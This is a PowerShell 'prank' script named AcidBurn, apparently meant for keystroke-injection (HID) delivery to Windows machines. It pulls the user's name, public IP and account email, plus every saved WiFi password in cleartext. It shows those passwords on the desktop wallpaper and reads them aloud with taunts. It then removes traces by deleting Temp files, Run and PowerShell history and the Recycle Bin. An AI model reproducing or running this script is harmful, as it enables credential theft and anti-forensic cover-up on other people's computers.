704 lines
25 KiB
PowerShell
704 lines
25 KiB
PowerShell
############################################################################################################################################################
|
|
# | ___ _ _ _ # ,d88b.d88b #
|
|
# Title : AcidBurn | |_ _| __ _ _ __ ___ | | __ _ | | __ ___ | |__ _ _ # 88888888888 #
|
|
# Author : I am Jakoby | | | / _` | | '_ ` _ \ _ | | / _` | | |/ / / _ \ | '_ \ | | | |# `Y8888888Y' #
|
|
# Version : 1.0 | | | | (_| | | | | | | | | |_| | | (_| | | < | (_) | | |_) | | |_| |# `Y888Y' #
|
|
# Category : Prank | |___| \__,_| |_| |_| |_| \___/ \__,_| |_|\_\ \___/ |_.__/ \__, |# `Y' #
|
|
# Target : Windows 7,10,11 | |___/ # /\/|_ __/\\ #
|
|
# Mode : HID | |\__/,| (`\ # / -\ /- ~\ #
|
|
# | My crime is that of curiosity |_ _ |.--.) )# \ = Y =T_ = / #
|
|
# | and yea curiosity killed the cat ( T ) / # Luther )==*(` `) ~ \ Hobo #
|
|
# | but satisfaction brought him back (((^_(((/(((_/ # / \ / \ #
|
|
#__________________________________|_________________________________________________________________________# | | ) ~ ( #
|
|
# tiktok.com/@i_am_jakoby # / \ / ~ \ #
|
|
# github.com/I-Am-Jakoby # \ / \~ ~/ #
|
|
# twitter.com/I_Am_Jakoby # /\_/\_/\__ _/_/\_/\__~__/_/\_/\_/\_/\_/\_#
|
|
# instagram.com/i_am_jakoby # | | | | ) ) | | | (( | | | | | |#
|
|
# youtube.com/c/IamJakoby (youtube link with demonstration coming soon) # | | | |( ( | | | \\ | | | | | |#
|
|
############################################################################################################################################################
|
|
|
|
<#
|
|
.NOTES
|
|
This script was not optimized to shorten the code. This script is intended to have as much readability as possible for new coders to learn.
|
|
|
|
.DESCRIPTION
|
|
This program gathers details from target PC to include Operating System, RAM Capacity, Public IP, and Email associated with microsoft account.
|
|
The SSID and WiFi password of any current or previously connected to networks.
|
|
It determines the last day they changed their password and how many days ago.
|
|
Once the information is gathered the script will pause until a mouse movement is detected
|
|
Then the script uses Sapi speak to roast their set up and lack of security
|
|
#>
|
|
############################################################################################################################################################
|
|
|
|
# Variables
|
|
|
|
|
|
$s=New-Object -ComObject SAPI.SpVoice
|
|
|
|
############################################################################################################################################################
|
|
|
|
# Intro ---------------------------------------------------------------------------------------------------
|
|
function Get-fullName {
|
|
|
|
try {
|
|
|
|
$fullName = Net User $Env:username | Select-String -Pattern "Full Name";$fullName = ("$fullName").TrimStart("Full Name")
|
|
|
|
}
|
|
|
|
# If no name is detected function will return $env:UserName
|
|
|
|
# Write Error is just for troubleshooting
|
|
catch {Write-Error "No name was detected"
|
|
return $env:UserName
|
|
-ErrorAction SilentlyContinue
|
|
}
|
|
|
|
return $fullName
|
|
|
|
}
|
|
|
|
$fullName = Get-fullName
|
|
|
|
# echo statement used to track progress while debugging
|
|
echo "Intro Done"
|
|
|
|
###########################################################################################################
|
|
|
|
<#
|
|
|
|
.NOTES
|
|
RAM Info
|
|
This will get the amount of RAM the target computer has
|
|
#>
|
|
|
|
|
|
function Get-RAM {
|
|
|
|
try {
|
|
|
|
$OS = (Get-WmiObject Win32_OperatingSystem).Name;$OSpos = $OS.IndexOf("|");$OS = $OS.Substring(0, $OSpos)
|
|
|
|
$RAM=Get-WmiObject Win32_PhysicalMemory | Measure-Object -Property capacity -Sum | % { "{0:N1}" -f ($_.sum / 1GB)}
|
|
$RAMpos = $RAM.IndexOf('.')
|
|
$RAM = [int]$RAM.Substring(0,$RAMpos).Trim()
|
|
|
|
# ENTER YOUR CUSTOM RESPONSES HERE
|
|
#----------------------------------------------------------------------------------------------------
|
|
$lowRAM = "$RAM gigs of ram? might as well use pen and paper"
|
|
|
|
$okRAM = "$RAM gigs of ram really? I have a calculator with more computing power"
|
|
|
|
$goodRAM = "$RAM gigs of ram? Can almost guarantee you have a light up keyboard.. you are a wanna be streamer huh?"
|
|
|
|
$impressiveRAM = "$RAM gigs of ram? are you serious? a super computer with no security that is funny right there"
|
|
#----------------------------------------------------------------------------------------------------
|
|
|
|
if($RAM -le 4){
|
|
return $lowRAM
|
|
} elseif($RAM -ge 5 -and $RAM -le 12){
|
|
return $okRAM
|
|
} elseif($RAM -ge 13 -and $RAM -le 24){
|
|
return $goodRAM
|
|
} else {
|
|
return $impressiveRAM
|
|
}
|
|
|
|
}
|
|
|
|
# If one of the above parameters is not detected function will return $null to avoid sapi speak
|
|
|
|
# Write Error is just for troubleshooting
|
|
catch {Write-Error "Error in search"
|
|
return $null
|
|
-ErrorAction SilentlyContinue
|
|
}
|
|
}
|
|
|
|
# echo statement used to track progress while debugging
|
|
echo "RAM Info Done"
|
|
|
|
###########################################################################################################
|
|
|
|
<#
|
|
|
|
.NOTES
|
|
Public IP
|
|
This will get the public IP from the target computer
|
|
#>
|
|
|
|
|
|
function Get-PubIP {
|
|
|
|
try {
|
|
|
|
$computerPubIP=(Invoke-WebRequest ipinfo.io/ip -UseBasicParsing).Content
|
|
|
|
}
|
|
|
|
# If no Public IP is detected function will return $null to avoid sapi speak
|
|
|
|
# Write Error is just for troubleshooting
|
|
catch {Write-Error "No Public IP was detected"
|
|
return $null
|
|
-ErrorAction SilentlyContinue
|
|
}
|
|
|
|
return "your public I P address is $computerPubIP"
|
|
}
|
|
|
|
# echo statement used to track progress while debugging
|
|
echo "Pub IP Done"
|
|
|
|
###########################################################################################################
|
|
|
|
<#
|
|
|
|
.NOTES
|
|
Wifi Network and Password
|
|
This function will custom a tailor response based on how many characters long their password is
|
|
#>
|
|
|
|
|
|
function Get-Pass {
|
|
|
|
#-----VARIABLES-----#
|
|
# $pwl = their Pass Word Length
|
|
# $pass = their Password
|
|
|
|
try {
|
|
|
|
$pro = netsh wlan show interface | Select-String -Pattern ' SSID '; $pro = [string]$pro
|
|
$pos = $pro.IndexOf(':')
|
|
$pro = $pro.Substring($pos+2).Trim()
|
|
|
|
$pass = netsh wlan show profile $pro key=clear | Select-String -Pattern 'Key Content'; $pass = [string]$pass
|
|
$passPOS = $pass.IndexOf(':')
|
|
$pass = $pass.Substring($passPOS+2).Trim()
|
|
|
|
if($pro -like '*_5GHz*') {
|
|
$pro = $pro.Trimend('_5GHz')
|
|
}
|
|
|
|
$pwl = $pass.length
|
|
|
|
|
|
}
|
|
|
|
# If no network is detected function will return $null to avoid sapi speak
|
|
|
|
# Write Error is just for troubleshooting
|
|
catch {Write-Error "No network was detected"
|
|
return $null
|
|
-ErrorAction SilentlyContinue
|
|
}
|
|
|
|
|
|
# ENTER YOUR CUSTOM RESPONSES HERE
|
|
#----------------------------------------------------------------------------------------------------
|
|
$badPASS = "$pro is not a very creative name but at least it is not as bad as your wifi password... only $pwl characters long? $pass ...? really..? $pass was the best you could come up with?"
|
|
|
|
$okPASS = "$pro is not a very creative name but at least you are trying a little bit, your password is $pwl characters long, still trash though.. $pass ...? You can do better"
|
|
|
|
$goodPASS = "$pro is not a very creative name but At least you are not a total fool... $pwl character long password actually is not bad, but it did not save you from me did it? no..it..did..not! $pass is a decent password though."
|
|
#----------------------------------------------------------------------------------------------------
|
|
|
|
if($pass.length -lt 8) { return $badPASS
|
|
|
|
}elseif($pass.length -gt 7 -and $pass.length -lt 12) { return $okPASS
|
|
|
|
}else { return $goodPASS
|
|
|
|
}
|
|
}
|
|
|
|
# echo statement used to track progress while debugging
|
|
echo "Wifi pass Done"
|
|
|
|
###########################################################################################################
|
|
|
|
<#
|
|
|
|
.NOTES
|
|
All Wifi Networks and Passwords
|
|
This function will gather all current Networks and Passwords saved on the target computer
|
|
They will be save in the temp directory to a file named with "$env:USERNAME-$(get-date -f yyyy-MM-dd)_WiFi-PWD.txt"
|
|
#>
|
|
|
|
Function Get-Networks {
|
|
# Get Network Interfaces
|
|
$Network = Get-WmiObject Win32_NetworkAdapterConfiguration | where { $_.MACAddress -notlike $null } | select Index, Description, IPAddress, DefaultIPGateway, MACAddress | Format-Table Index, Description, IPAddress, DefaultIPGateway, MACAddress
|
|
|
|
# Get Wifi SSIDs and Passwords
|
|
$WLANProfileNames =@()
|
|
|
|
#Get all the WLAN profile names
|
|
$Output = netsh.exe wlan show profiles | Select-String -pattern " : "
|
|
|
|
#Trim the output to receive only the name
|
|
Foreach($WLANProfileName in $Output){
|
|
$WLANProfileNames += (($WLANProfileName -split ":")[1]).Trim()
|
|
}
|
|
$WLANProfileObjects =@()
|
|
|
|
#Bind the WLAN profile names and also the password to a custom object
|
|
Foreach($WLANProfileName in $WLANProfileNames){
|
|
|
|
#get the output for the specified profile name and trim the output to receive the password if there is no password it will inform the user
|
|
try{
|
|
$WLANProfilePassword = (((netsh.exe wlan show profiles name="$WLANProfileName" key=clear | select-string -Pattern "Key Content") -split ":")[1]).Trim()
|
|
}Catch{
|
|
$WLANProfilePassword = "The password is not stored in this profile"
|
|
}
|
|
|
|
#Build the object and add this to an array
|
|
$WLANProfileObject = New-Object PSCustomobject
|
|
$WLANProfileObject | Add-Member -Type NoteProperty -Name "ProfileName" -Value $WLANProfileName
|
|
$WLANProfileObject | Add-Member -Type NoteProperty -Name "ProfilePassword" -Value $WLANProfilePassword
|
|
$WLANProfileObjects += $WLANProfileObject
|
|
Remove-Variable WLANProfileObject
|
|
return $WLANProfileObjects
|
|
}
|
|
}
|
|
|
|
$Networks = Get-Networks
|
|
|
|
Add-Type @"
|
|
using System;
|
|
using System.Runtime.InteropServices;
|
|
public class PInvoke {
|
|
[DllImport("user32.dll")] public static extern IntPtr GetDC(IntPtr hwnd);
|
|
[DllImport("gdi32.dll")] public static extern int GetDeviceCaps(IntPtr hdc, int nIndex);
|
|
}
|
|
"@
|
|
$hdc = [PInvoke]::GetDC([IntPtr]::Zero)
|
|
$w = [PInvoke]::GetDeviceCaps($hdc, 118) # width
|
|
$h = [PInvoke]::GetDeviceCaps($hdc, 117) # height
|
|
|
|
<#
|
|
|
|
.NOTES
|
|
This will take the image you generated and set it as the targets wall paper
|
|
#>
|
|
|
|
Function Set-WallPaper {
|
|
|
|
<#
|
|
|
|
.SYNOPSIS
|
|
Applies a specified wallpaper to the current user's desktop
|
|
|
|
.PARAMETER Image
|
|
Provide the exact path to the image
|
|
|
|
.PARAMETER Style
|
|
Provide wallpaper style (Example: Fill, Fit, Stretch, Tile, Center, or Span)
|
|
|
|
.EXAMPLE
|
|
Set-WallPaper -Image "C:\Wallpaper\Default.jpg"
|
|
Set-WallPaper -Image "C:\Wallpaper\Background.jpg" -Style Fit
|
|
|
|
#>
|
|
|
|
|
|
param (
|
|
[parameter(Mandatory=$True)]
|
|
# Provide path to image
|
|
[string]$Image,
|
|
# Provide wallpaper style that you would like applied
|
|
[parameter(Mandatory=$False)]
|
|
[ValidateSet('Fill', 'Fit', 'Stretch', 'Tile', 'Center', 'Span')]
|
|
[string]$Style
|
|
)
|
|
|
|
$WallpaperStyle = Switch ($Style) {
|
|
|
|
"Fill" {"10"}
|
|
"Fit" {"6"}
|
|
"Stretch" {"2"}
|
|
"Tile" {"0"}
|
|
"Center" {"0"}
|
|
"Span" {"22"}
|
|
|
|
}
|
|
|
|
If($Style -eq "Tile") {
|
|
|
|
New-ItemProperty -Path "HKCU:\Control Panel\Desktop" -Name WallpaperStyle -PropertyType String -Value $WallpaperStyle -Force
|
|
New-ItemProperty -Path "HKCU:\Control Panel\Desktop" -Name TileWallpaper -PropertyType String -Value 1 -Force
|
|
|
|
}
|
|
Else {
|
|
|
|
New-ItemProperty -Path "HKCU:\Control Panel\Desktop" -Name WallpaperStyle -PropertyType String -Value $WallpaperStyle -Force
|
|
New-ItemProperty -Path "HKCU:\Control Panel\Desktop" -Name TileWallpaper -PropertyType String -Value 0 -Force
|
|
|
|
}
|
|
|
|
Add-Type -TypeDefinition @"
|
|
using System;
|
|
using System.Runtime.InteropServices;
|
|
|
|
public class Params
|
|
{
|
|
[DllImport("User32.dll",CharSet=CharSet.Unicode)]
|
|
public static extern int SystemParametersInfo (Int32 uAction,
|
|
Int32 uParam,
|
|
String lpvParam,
|
|
Int32 fuWinIni);
|
|
}
|
|
"@
|
|
|
|
$SPI_SETDESKWALLPAPER = 0x0014
|
|
$UpdateIniFile = 0x01
|
|
$SendChangeEvent = 0x02
|
|
|
|
$fWinIni = $UpdateIniFile -bor $SendChangeEvent
|
|
|
|
$ret = [Params]::SystemParametersInfo($SPI_SETDESKWALLPAPER, 0, $Image, $fWinIni)
|
|
}
|
|
|
|
#############################################################################################################################################
|
|
|
|
Function WallPaper-Troll {
|
|
|
|
if (!$Networks) { Write-Host "variable is null"
|
|
}else {
|
|
|
|
# This is the name of the file the networks and passwords are saved
|
|
|
|
$FileName = "$env:USERNAME-$(get-date -f yyyy-MM-dd_hh-mm)_WiFi-PWD.txt"
|
|
|
|
($Networks| Out-String) >> $Env:temp\$FileName
|
|
|
|
$content = [IO.File]::ReadAllText("$Env:temp\$FileName")
|
|
|
|
|
|
# this is the message that will be coded into the image you use as the wallpaper
|
|
|
|
$hiddenMessage = "`n`nMy crime is that of curiosity `nand yea curiosity killed the cat `nbut satisfaction brought him back `n with love -Jakoby"
|
|
|
|
# this will be the name of the image you use as the wallpaper
|
|
|
|
$ImageName = "dont-be-suspicious"
|
|
|
|
<#
|
|
|
|
.NOTES
|
|
This will get take the information gathered and format it into a .jpg
|
|
#>
|
|
|
|
Add-Type -AssemblyName System.Drawing
|
|
|
|
$filename = "$env:tmp\foo.jpg"
|
|
$bmp = new-object System.Drawing.Bitmap $w,$h
|
|
$font = new-object System.Drawing.Font Consolas,18
|
|
$brushBg = [System.Drawing.Brushes]::White
|
|
$brushFg = [System.Drawing.Brushes]::Black
|
|
$graphics = [System.Drawing.Graphics]::FromImage($bmp)
|
|
$graphics.FillRectangle($brushBg,0,0,$bmp.Width,$bmp.Height)
|
|
$graphics.DrawString($content,$font,$brushFg,500,100)
|
|
$graphics.Dispose()
|
|
$bmp.Save($filename)
|
|
|
|
# Invoke-Item $filename
|
|
|
|
<#
|
|
|
|
.NOTES
|
|
This will take your hidden message and use steganography to hide it in the image you use as the wallpaper
|
|
Then it will clean up the files you don't want to leave behind
|
|
#>
|
|
|
|
echo $hiddenMessage > $Env:temp\foo.txt
|
|
cmd.exe /c copy /b "$Env:temp\foo.jpg" + "$Env:temp\foo.txt" "$Env:USERPROFILE\Desktop\$ImageName.jpg"
|
|
|
|
rm $env:TEMP\foo.txt,$env:TEMP\foo.jpg -r -Force -ErrorAction SilentlyContinue
|
|
|
|
|
|
#############################################################################################################################################
|
|
|
|
|
|
# This will open up notepad with all their saved networks and passwords and taunt them
|
|
|
|
|
|
$s.Speak("wanna see something really cool?")
|
|
Set-WallPaper -Image "$Env:USERPROFILE\Desktop\$ImageName.jpg" -Style Center
|
|
$s.Speak("Look at all your other passswords I got..")
|
|
Start-Sleep -Seconds 1
|
|
$s.Speak("These are the wifi passwords for every network you've ever connected to!")
|
|
Start-Sleep -Seconds 1
|
|
$s.Speak("I could send them to myself but i wont")
|
|
|
|
}
|
|
|
|
# echo statement used to track progress while debugging
|
|
echo "All Wifi Passes Done"
|
|
}
|
|
|
|
|
|
###########################################################################################################
|
|
|
|
<#
|
|
|
|
.NOTES
|
|
Password last Set
|
|
This function will custom tailor a response based on how long it has been since they last changed their password
|
|
#>
|
|
|
|
|
|
function Get-Days_Set {
|
|
|
|
#-----VARIABLES-----#
|
|
# $pls (password last set) = the date/time their password was last changed
|
|
# $days = the number of days since their password was last changed
|
|
|
|
try {
|
|
|
|
$pls = net user $env:UserName | Select-String -Pattern "Password last" ; $pls = [string]$pls
|
|
$plsPOS = $pls.IndexOf("e")
|
|
$pls = $pls.Substring($plsPOS+2).Trim()
|
|
$pls = $pls -replace ".{3}$"
|
|
$time = ((get-date) - (get-date "$pls")) ; $time = [string]$time
|
|
$DateArray =$time.Split(".")
|
|
$days = [int]$DateArray[0]
|
|
}
|
|
|
|
# If no password set date is detected function will return $null to cancel Sapi Speak
|
|
|
|
# Write Error is just for troubleshooting
|
|
catch {Write-Error "Day password set not found"
|
|
return $null
|
|
-ErrorAction SilentlyContinue
|
|
}
|
|
|
|
|
|
# ENTER YOUR CUSTOM RESPONSES HERE
|
|
#----------------------------------------------------------------------------------------------------
|
|
$newPass = "$pls was the last time you changed your password... You changed your password $days days ago.. I have to applaud you.. at least you change your password often. Still did not stop me! "
|
|
|
|
$avgPASS = "$pls was the last time you changed your password... it has been $days days since you changed your password, really starting to push it, i mean look i am here. that tells you something "
|
|
|
|
$oldPASS = "$pls was the last time you changed your password... it has been $days days since you changed your password, you were basically begging me to hack you, well here i am! "
|
|
#----------------------------------------------------------------------------------------------------
|
|
|
|
if($days -lt 45) { return $newPass
|
|
|
|
}elseif($days -gt 44 -and $days -lt 182) { return $avgPASS
|
|
|
|
}else { return $oldPASS
|
|
|
|
}
|
|
}
|
|
|
|
# echo statement used to track progress while debugging
|
|
echo "Pass last set Done"
|
|
|
|
###########################################################################################################
|
|
|
|
<#
|
|
|
|
.NOTES
|
|
Get Email
|
|
This function will custom tailor a response based on what type of email the target has
|
|
#>
|
|
|
|
function Get-email {
|
|
|
|
try {
|
|
|
|
$email = GPRESULT -Z /USER $Env:username | Select-String -Pattern "([a-zA-Z0-9_\-\.]+)@([a-zA-Z0-9_\-\.]+)\.([a-zA-Z]{2,5})" -AllMatches;$email = ("$email").Trim()
|
|
|
|
$emailpos = $email.IndexOf("@")
|
|
|
|
$domain = $email.Substring($emailpos+1) #.TrimEnd(".com")
|
|
|
|
}
|
|
|
|
# If no email is detected function will return backup message for sapi speak
|
|
|
|
# Write Error is just for troubleshooting
|
|
catch {Write-Error "An email was not found"
|
|
return "you're lucky you do not have your email connected to your account, I would have really had some fun with you then lol"
|
|
-ErrorAction SilentlyContinue
|
|
}
|
|
|
|
# ENTER YOUR CUSTOM RESPONSES HERE
|
|
#----------------------------------------------------------------------------------------------------
|
|
$gmailResponse = "At least you use G Mail.. we should be friends. If you are down just email me back, ill message you at $email. That is your email right?"
|
|
$yahooResponse = "a yahoo account seriously? you are either in your 50's or just got done doing some time, a lot of it.. $email .. this is sad"
|
|
$hotmailResponse = "really?. you have a hotmail account? $email .. I am sending this to the f b I they need to check your hard drive"
|
|
$otherEmailResponse = "I dead ass do not even know what this is.. $email .. hope you did not think it was safe"
|
|
#----------------------------------------------------------------------------------------------------
|
|
|
|
if($email -like '*gmail*') { return $gmailResponse
|
|
|
|
}elseif($email -like '*yahoo*') { return $yahooResponse
|
|
|
|
}elseif($email -like '*hotmail*') { return $hotmailResponse
|
|
|
|
}else { return $otherEmailResponse}
|
|
|
|
|
|
}
|
|
|
|
# echo statement used to track progress while debugging
|
|
echo "Email Done"
|
|
|
|
###########################################################################################################
|
|
|
|
<#
|
|
|
|
.NOTES
|
|
Messages
|
|
This function will run all the previous functions and assign their outputs to variables
|
|
#>
|
|
|
|
$intro = "$fullName , it has been a long time my friend"
|
|
|
|
$RAMwarn = Get-RAM
|
|
|
|
$PUB_IPwarn = Get-PubIP
|
|
|
|
$PASSwarn = Get-Pass
|
|
|
|
$LAST_PASSwarn = Get-Days_Set
|
|
|
|
$EMAILwarn = Get-email
|
|
|
|
$OUTRO = "My crime is that of curiosity.... and yea curiosity killed the cat.... but satisfaction brought him back.... later $fullName"
|
|
|
|
# echo statement used to track progress while debugging
|
|
echo "Speak Variables set"
|
|
|
|
###########################################################################################################
|
|
|
|
# This turns the volume up to max level--------------------------------------------------------------------
|
|
|
|
#$k=[Math]::Ceiling(100/2);$o=New-Object -ComObject WScript.Shell;for($i = 0;$i -lt $k;$i++){$o.SendKeys([char] 175)}
|
|
|
|
# echo statement used to track progress while debugging
|
|
echo "Volume to max level"
|
|
|
|
###########################################################################################################
|
|
|
|
<#
|
|
|
|
.NOTES
|
|
These two snippets are meant to be used as indicators to let you know the script is set up and ready
|
|
This will display a pop up window saying "hello $fullname"
|
|
Or this makes the CapsLock indicator light blink however many times you set it to
|
|
if you do not want the ready notice to pop up or the CapsLock light to blink comment them out below
|
|
#>
|
|
|
|
# a popup will be displayed before freezing the script while waiting for the cursor to move to continue the script
|
|
# else capslock light will blink as an indicator
|
|
$popmessage = "Hello $fullName"
|
|
|
|
|
|
$readyNotice = New-Object -ComObject Wscript.Shell;$readyNotice.Popup($popmessage)
|
|
|
|
|
|
# caps lock indicator light
|
|
$blinks = 3;$o=New-Object -ComObject WScript.Shell;for ($num = 1 ; $num -le $blinks*2; $num++){$o.SendKeys("{CAPSLOCK}");Start-Sleep -Milliseconds 250}
|
|
|
|
|
|
|
|
#-----------------------------------------------------------------------------------------------------------
|
|
|
|
<#
|
|
|
|
.NOTES
|
|
Then the script will be paused until the mouse is moved
|
|
script will check mouse position every indicated number of seconds
|
|
This while loop will constantly check if the mouse has been moved
|
|
"CAPSLOCK" will be continuously pressed to prevent screen from turning off
|
|
it will then sleep for the indicated number of seconds and check again
|
|
when mouse is moved it will break out of the loop and continue the script
|
|
#>
|
|
|
|
|
|
Add-Type -AssemblyName System.Windows.Forms
|
|
$originalPOS = [System.Windows.Forms.Cursor]::Position.X
|
|
|
|
while (1) {
|
|
$pauseTime = 3
|
|
if ([Windows.Forms.Cursor]::Position.X -ne $originalPOS){
|
|
break
|
|
}
|
|
else {
|
|
$o.SendKeys("{CAPSLOCK}");Start-Sleep -Seconds $pauseTime
|
|
}
|
|
}
|
|
echo "it worked"
|
|
|
|
###########################################################################################################
|
|
|
|
# this is where your message is spoken line by line
|
|
|
|
$s=New-Object -ComObject SAPI.SpVoice
|
|
|
|
# This sets how fast Sapi Speaks
|
|
|
|
$s.Rate = -1
|
|
|
|
$s.Speak($intro)
|
|
|
|
$s.Speak($RAMwarn)
|
|
|
|
$s.Speak($PUB_IPwarn)
|
|
|
|
$s.Speak($PASSwarn)
|
|
|
|
WallPaper-Troll
|
|
|
|
$s.Speak($LAST_PASSwarn)
|
|
|
|
$s.Speak($EMAILwarn)
|
|
|
|
$s.Speak($OUTRO)
|
|
|
|
###########################################################################################################
|
|
|
|
# this snippet will leave a message on your targets desktop
|
|
|
|
$message = "`nMy crime is that of curiosity `nand yea curiosity killed the cat `nbut satisfaction brought him back"
|
|
|
|
Add-Content $home\Desktop\WithLove.txt $message
|
|
###########################################################################################################
|
|
|
|
<#
|
|
|
|
.NOTES
|
|
This is to clean up behind you and remove any evidence to prove you were there
|
|
#>
|
|
|
|
# Delete contents of Temp folder
|
|
|
|
rm $env:TEMP\* -r -Force -ErrorAction SilentlyContinue
|
|
|
|
# Delete run box history
|
|
|
|
reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU /va /f
|
|
|
|
# Delete powershell history
|
|
|
|
Remove-Item (Get-PSreadlineOption).HistorySavePath
|
|
|
|
# Deletes contents of recycle bin
|
|
|
|
Clear-RecycleBin -Force -ErrorAction SilentlyContinue
|
|
|
|
#----------------------------------------------------------------------------------------------------
|
|
|
|
# This script repeatedly presses the capslock button, this snippet will make sure capslock is turned back off
|
|
|
|
Add-Type -AssemblyName System.Windows.Forms
|
|
$caps = [System.Windows.Forms.Control]::IsKeyLocked('CapsLock')
|
|
|
|
#If true, toggle CapsLock key, to ensure that the script doesn't fail
|
|
if ($caps -eq $true){
|
|
|
|
$key = New-Object -ComObject WScript.Shell
|
|
$key.SendKeys('{CapsLock}')
|
|
}
|